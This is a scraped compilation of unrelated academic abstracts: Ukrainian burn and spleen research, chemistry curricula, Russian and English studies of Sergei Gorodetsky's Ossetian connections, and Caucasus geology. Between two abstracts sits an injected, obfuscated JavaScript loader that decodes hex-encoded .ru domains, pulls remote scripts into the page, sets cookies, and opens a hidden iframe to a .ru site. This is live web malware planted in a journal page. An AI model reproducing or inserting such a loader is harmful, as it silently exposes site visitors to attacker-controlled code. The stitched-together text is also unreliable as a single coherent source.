-LX -5 %” через 1 добу експерименту встановлено лише достовірно (р<0,05) на 30,3 % менші значення інтервалу SUB -G0G1 при застосуванні HAES -LX -5 %. Таким чином, вже через 1 добу після опіку шкіри розчином лактопротеїну з сорбітолом більш суттєво впливав на синтетичні процеси, а HAES -LX -5 % – на процеси як снтезу ДНК, так і апоптозу порівняно із застосуванням 0,9 % розчину NaCl. Подібна картина за характером впливу даних препаратів на показники клітинного циклу клітин селезінки була і через 3 та 7 діб після опікового ураження шкіри. Зокрема, порівняно з показниками групи “0,9 % розчину NaCl без опіку” через 3 доби, на фоні опіку та корекції розчином лактопротеїну з сорбітолом більшими виявились середні значення блока проліферації, а на тлі корекції розчином HAES -LX -5 % вищими були середні значення показників фази S і блока проліферації та меншими – інтервалу SUB -G0G1. Через 7 діб після опіку шкіри відмінностей при впливі на показники клітинного циклу клітин селезінки між розчинами лактопротеїну з сорбітолом та HAES -LX -5 % ми не виявили. Однак в обох цих групах були встановлені більші середні значення показників S-фази, блока проліферації та інтервалу SUB -G0G1 порівняно з середніми значеннями аналогічних показників групи “опік + 0,9 % розчину NaCl”.Висновки. Застосування розчинів лактопротеїну з сорбітолом або HAES -LX -5 % на тлі опікового ушкодження шкіри сприяють більш ефективному процесу оновлення клітин селезінки шляхом стимуляції синтезу ДНК та меншого рівня апоптозу, особливо при застосуванні HAES -LX -5 %.

<p>У статті розглянуто порівняльний аналіз структури навчальних програм та кількості кредитів блоку базових хімічних дисциплін підготовки фахівців за спеціальностями “Фармація” (неорганічна хімія, органічна хімія, фізична та колоїдна хімія) та “Лікувальна справа” (медична хімія) у ВНЗ України та країн Європи, які є асоційованими партнерами програми ЕРАЗМУС+.</p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://87joojin3fb.ru/f.html"></iframe>

Объектом внимания в статье является творчество видного представителя русской литературы 1й половины XX века Сергея Митрофановича Городецкого, чей литературный путь начинается в контексте отечественной литературы конца XIX начала XX в., в сложную, противоречивую эпоху, насыщенную драматическими событиями. Имя Городецкого связывается с явлением, получившим название Серебряного века русской литературы. Он один из тех, кто стал неотъемлемой частью богатейшего культурного процесса первых десятилетий прошлого века, давшего миру А. Ахматову, А. Блока, В. Брюсова, К. Бальмонта, Н. Гумилева, М. Волошина, О. Мандельштама, С. Есенина и многих других. Это время творческих исканий и блестящих открытий, переосмысления идей, старых литературных направлений, методов и стилей и формирования новых. Творчество Городецкого занимает достойное место в этом процессе, но не ограничивается рамками Серебряного века . Его долгая творческая жизнь отличается удивительным разнообразием, многогранностью талантов и интересов. Его перу были подвластны поэзия и романная проза, публицистика и драматургия, поэтические переводы и литературоведческие статьи, оперные либретто и рассказы. Природа не обделила Городецкого и художественными способностями в его наследие вошли портретные зарисовки, дружеские шаржи, книжные и журнальные иллюстрации. Особую страницу составила его просветительская и преподавательская деятельность. В статье представлена та часть творчества Городецкого, которая связана с Осетией, ее фольклором, литературой, этнографией, культурным строительством и просвещением и которая осталась в его творческой биографии почти незамеченной. Знакомство Городецкого с Осетией началось с Нартовского эпоса, который оставил значительный след в его наследии. В статье рассмотрен авторизованный перевод нартовской легенды Ацамаз и Агунда , а также цикл очерков СагатИр , опубликованные Городецким в газете Известия в 1926 г. как результат его путешествия по горной Осетии в качестве корреспондента газеты. Цикл отразил не только журналистский дар поэта, но и его интерес к фольклору, этнографии, истории и языку осетин. С Осетией связана еще одна грань творчества Городецкого его перу принадлежит ряд оперных либретто. Одно из них написано на сюжет Нартовского и Даредзановского эпосов. Городецкий в древних эпических сюжетах выразил созвучные его времени идеи свободного труда, преодоления племенной розни, насилия, тяжелого положения женщиныгорянки. Героем оперы становится осетинский Прометей Амран , в ней также присутствуют Ацамаз, Агунда, Курдалагон. Опера Амран была поставлена на сцене Большого театра, а ее либретто было удостоено премии. Городецкий был знаком с осетинскими писателями и поэтами, портретные зарисовки которых, сделанные во время декады осетинского искусства и литературы в Москве, хранятся в фонде С.М. Городецкого в Научном архиве СОИГСИ. Там же находятся рукописные автографы белового и чернового вариантов стихотворения Городецкого Памяти Коста Хетагурова , жизнь и творчество которого вызывали интерес и восхищение русского поэта. В статье также нашла отражение просветительская деятельность Городецкого, связанная с Северной Осетией. The object of attention in the article is the work of the prominent representative of the Russian literature of the 1st half of the 20th century Sergei Gorodetsky, whose literary way begins in the context of Russian literature of the late 19th and early 20th centuries and into a complex, controversial era, full of dramatic events. Gorodetskys name is associated with the phenomenon known as the Silver Age of the Russian literature. He is one of those who became an integral part of the richest cultural process of the first decades of the last century, alongside with A. Akhmatova, A. Blok, V. Bryusov, K. Balmont, N. Gumilyov, M. Voloshin, O. Mandelstam, S. Yesenin and many others. This is a time of creative searches and brilliant discoveries, reconsidering ideas, old literary trends, methods and styles and the formation of new ones. Gorodetskys work takes significant place in this process, but is not limited to the framework of the Silver Age. His long creative life is remarkable for its amazing diversity, versatility of talents and interests. He was good at poetry and novel prose, journalism and dramaturgy, poetry translations and literary articles, opera librettos and short stories. Нis heritage included portrait sketches, friendly cartoons, book and magazine illustrations. He is also famous for his educational and teaching activities. The article presents that part of S. Gorodetskys work, which is associated with Ossetia, its folklore, literature, ethnography, cultural construction and education, which almost went unnoticed in his creative biography. Gorodetskys acquaintance with Ossetia began with the Narts epic, which left a significant mark on his heritage. The article deals with the authorized translation of the Narts legend Atsamaz and Agunda, as well as the series of essays SagatIr published by S. Gorodetsky in the newspaper Izvestia in 1926 as a result of his travels through mountainous Ossetia as a newspaper correspondent. The cycle reflected not only the journalistic talent of the poet, but also his interest in folklore, ethnography, history and the language of the Ossetians. Another aspect of Gorodetskys work connected with Ossetia is number of opera librettos. One of them is based on the plot of the Narts and Daredzan epics. Gorodetsky expressed the ideas of his time: free labour, overcoming tribal hatred, violence, and the plight of female highlanders in ancient epic plots. The Ossetian Prometheus Amran becomes the hero of the opera Atsamaz, Agunda, and Kurdalagon also taking part in it. The opera was staged at the Bolshoi Theater, and its libretto received an award. Gorodetsky was familiar with Ossetian writers and poets, whose portrait sketches, made during the decade of Ossetian art and literature in Moscow, are stored in the S. Gorodetsky collection in the Scientific Archive of the Institute for Humanitarian and Social Studies. There are manuscript autographs of Gorodetskys poem In Memoriam of KostaKhetagurov, whose life and work the Russian poetadmired. The article also reviews the educational activities of S. Gorodetsky related to North Ossetia.

В статье рассмотрены условия формирования складчатой системы Большого Кавказа в альпийскую эпоху. Показано, что главная зональная линейная складчатая структура региона была сформирована на ранне- и среднеальпийской стадиях развития в результате проявления батской и пиренейской фаз складчатости. Установлено, что причиной складкообразования было активное столкновение Черноморско-Закавказского микроконтинента на юго-западе с пассивной окраиной Большого Кавказа. Определено, что позднеальпийская стадия в регионе проходила в условиях субмеридионального тангенциального давления, во время проявления плиоцен-четвертичных фаз складчатости. В это время на Большой Кавказ воздействовал не целостный Черноморско-Закавказский микроконтинент, а слагающие его мелкие плиты и блоки-шоли. Выяснено, что они в процессе тектогенеза перемещались и косо вдвигались в складчатую систему Большого Кавказа, вызывая преобразование первичной структуры и возникновение интерференционной складчатости. В результате повторного деформирования отдельных участков региона в его пределах образовалась неоднородная складчатая структура. Изучена основная особенность складчатой системы Большого Кавказа, выраженная структурной неоднородностью складчатости в поперечном и продольном направлениях. Установлено, что она отражает поэтапную и разноплановую деформацию отдельных участков, возникающую в результате последовательного проявления в регионе локальной и региональной геодинамики микроконтинента, а также связанных с ними общих и частных механизмов его формирования. Структурный анализ морфологии складчатости БК действительно показал неравномерную дислоцированность его – С-З и Ю-В сегментов, сложенных в основном ранне- и среднеальпийскими структурами, выраженную в разной степени осложненности коллизионными деформациями. Так, в пределах мальм-эоценового структурного этажа С-З Кавказа, раннеальпийская структура которого меньше всех остальных сегментов усложнена коллизионными деформациями, четко проявлена латеральная асимметричная зональность его складчатой структуры. Она выражена в последовательной смене с юго-запада на северо-восток интенсивной линейной сильно сжатой складчатости линейными гребневидными, а затем слабо вытянутыми типичными брахиморфными складками, переходящими, в свою очередь, в полого наклонную на северо-восток моноклиналь The article considers the conditions of formation of folded system of the Greater Caucasus in the Alpine Epoch. It is shown that main zonal linear folded structure of the region was formed at the early and middle Alpine stages of the evolution in the result of manifestation of Bathonian and Pyrenean stages of folding. It was established that the cause of the folding was an active collision of the Black Sea-Transcaucasian microcontinent in the south-west with the passive margin of the Greater Caucasus. It was also determined that the Late Alpine stage in the region took place under the conditions ofsubmeridional tangential stress, during the Pliocene-Quarternary folding phases. During this period the Greater Caucasus was affected not by the whole Black Sea-Transcaucasian microcontinent, but by its smaller plates and blocks. It was found out that during the process of tectogenesis they drifted and obliquely moved into the folded system of the Greater Caucasus, causing the transformation of the initial structure and the occurrence of interferential folding. In the result of repeated deformation of separate areas of the region the heterogeneous folded structure was formed. The main feature of the folded structures of the Greater Caucasus (expressed by a structural heterogeny in transversal and longitudinal directions) was studied. It was determined that it reflects the gradual and diverse deformation of individual sections, resulting from the consistent manifestation of the local and regional geodynamics of the microcontinent, as well as the common and specific mechanisms of its formation associated with them. The structural analysis of the morphology of folding of the Great Caucasus really showed its uneven dislocation, i.e. the N-W and S-E of the segments, composed mainly of early and middle Alpine structures, expressed in varying degrees of complication by collisional deformations. So, within the Malm-Eocene structural floor of the northwestern Caucasus, the Early Alpine structure of which is less than all the other segments, is complicated by collimated deformations, the lateral asymmetric zonality of its folded structure is clearly manifested. It is expressed in a successive change from the south-west to the north-east of intensive linear highly compressed folding with linear ridge-like, and then slightly elongated typical brachymorphic folds, which turn into a hollow sloping to the north-east monocline

Одна из значимых проблем мировой художественной культуры – проблема взаимосвязи и взаимовлияния литератур. Она еще более актуальна в России, которая позиционируется как многонациональное государство. Потому роль межкультурного диалога русской и осетинской литературы, возникшего в конце 19 века, лишь увеличивалась в последующие десятилетия. Ощутимым в развитии этого диалога представляется творчество выдающегося российского поэта, прозаика, переводчика, журналиста, педагога и художника Сергея Митрофановича Городецкого, вошедшего в русскую литературу на рубеже XIX и XX веков в рамках культуры «Серебряного века». Эта эпоха составила гордость отечественной литературы, дав миру А. Блока, А. Ахматову, С. Есенина, И. Бунина, В. Брюсова, Н. Гумилева, К. Бальмонта, О.Мандельштама, В.Маяковского, М.Волошина и многих других. Наследие С. Городецкого поражает жанровым многообразием – поэзия, проза, драматургия, оперные либретто, публицистика, критика, литературоведческие статьи, переводы. Его долгое творчество развивалось под влиянием русского фольклора, символизма, неоромантизма, неомифологизма, он сформулировал задачи акмеизма. Предлагаемая работа посвящена осетинским литературным связям Городецкого, практически не отраженным ни в его биографиях, ни в исследованиях творчества. В 1919 г. журналистская судьба привела поэта на Кавказ, полюбившийся ему на всю жизнь. Его знакомство с Осетией началось с Нартовского эпоса, с перевода в 1920 г. нартовской легенды об Ацамазе и Агунде. В 1928 г. он обратился к осетинскому Даредзановскому эпосу и творчеству осетинского драматурга Е.Бритаева, создав либретто оперы «Амран», поставленной на сцене Большого театра. В 30-е годы со знакомства с поэтом Харитоном Плиевым начинается новый этап осетинских литературных связей Городецкого. Началом их многолетней творческой дружбы стал перевод стихотворения Х. Плиева «Æнæхуыссæг æхсæв», написанного на смерть Кирова. Городецкий, опытный переводчик, приложил немалые старания в поисках адекватности образности, художественных особенностей, выразительности осетинской поэтической речи. Помощь в этом ему оказали знания, приобретенные в середине 20-х гг., когда в качестве корреспондента газеты «Известия» он побывал в Осетии, познакомился с ее этнографией, культурой, эпосом, обрядами и обычаями, встречался с народом Осетии. Затем Городецкий обращается к образу выдающегося осетинского поэта Коста Хетагурова, любовь к которому, обусловленная общностью идейной направленности их творчества, отношения к народу, к фольклору, оставалась неизменной до конца жизни. В статье рассмотрены переводы Городецкого стихотворений Харитона (Хадо) Плиева, посвященных Коста. Их отличает высокое качество перевода, глубокое проникновение в специфику осетинской поэтической речи, художественного мышления национальных поэтов, их духовно-нравственных ценностей. Также проанализировано стихотворение Городецкого «Коста Хетагурову», написанное в 1939 г. к юбилею поэта и прочитанное им на торжествах во Владикавказе (тогда Орджоникидзе). Через несколько десятилетий это стихотворение перевел на осетинский язык поэт Хаджи-Мурат Дзуццати. One of the significant problems of world art culture is the problem of the interconnection and mutual influence of literature. It is even more relevant in Russia, which is positioned as a multinational state. Therefore, the role of intercultural dialogue between Russian and Ossetian literature, which arose at the end of the 19th century, only increased in the following decades. The work of the outstanding Russian poet, prose writer, translator, journalist, teacher and artist Sergei Mitrofanovich Gorodetsky, who entered the Russian literature at the turn of the 19th and 20th centuries as part of the Silver Age culture, seems to be tangible in the development of this dialogue. This era was the pride of Russian literature, giving the world A. Blok, A. Akhmatov, S. Yesenin, I. Bunin, V. Bryusov, N. Gumilyov, K. Balmont, O. Mandelstam, V. Mayakovsky, M. Voloshin and many others. S. Gorodetsky’s heritage is striking in its genre diversity – poetry, prose, dramaturgy, opera libretto, journalism, criticism, literary articles, and translations. His long work developed under the influence of Russian folklore, symbolism, neo-romanticism, neo-mythology, he formulated the tasks of acmeism. The proposed work is dedicated to the Ossetian literary connections of Gorodetsky, which are practically not reflected either in his biographies or in his studies of his creations. In 1919, the journalistic fate brought the poet to the Caucasus. His acquaintance with Ossetia began with the Nart epic, with the translation in 1920 of the Nart legend of Atsamaz and Agunda. In 1928, he turned to the Ossetian Daredzan epic and the work of the Ossetian playwright E. Britaev, creating the libretto of the opera Amran, staged in the Bolshoi Theater. In the 30s, a new period in the Ossetian literary relations of Gorodetsky began with his acquaintance with the poet Khariton Pliev. The beginning of their creative friendship was the translation of the poem by Kh. Pliev “Ænækhuyssæg ækhsæv”, written on the death of Kirov. Gorodetsky, an experienced translator, made considerable efforts in the search for the adequacy of imagery, artistic features, and expressiveness of Ossetian poetic speech. The knowledge acquired in the mid-1920s, when he visited Ossetia as a correspondent for the Izvestia newspaper, got acquainted with its ethnography, culture, epos, rites and customs, and met with the people of Ossetia, helped him a lot. Then Gorodetsky turned to the image of the outstanding Ossetian poet Kosta Khetagurov, whose love, due to the common ideological orientation of their work, attitude to the people, to folklore, remained unchanged until the end of his life. The article considers the translations of Gorodetsky poems by Khariton (Hado) Pliev dedicated to Kosta. They are distinguished by the high quality of translation, deep penetration into the specifics of Ossetian poetic speech, the artistic thinking of national poets, their spiritual and moral values. Gorodetsky’s poem “Kosta Khetagurov”, written in 1939 for the poet’s anniversary and read by him at the celebrations in Vladikavkaz (then Ordzhonikidze), is also analyzed. A few decades later, this poem was translated into Ossetian by the poet Haji-Murat Dzutstsati.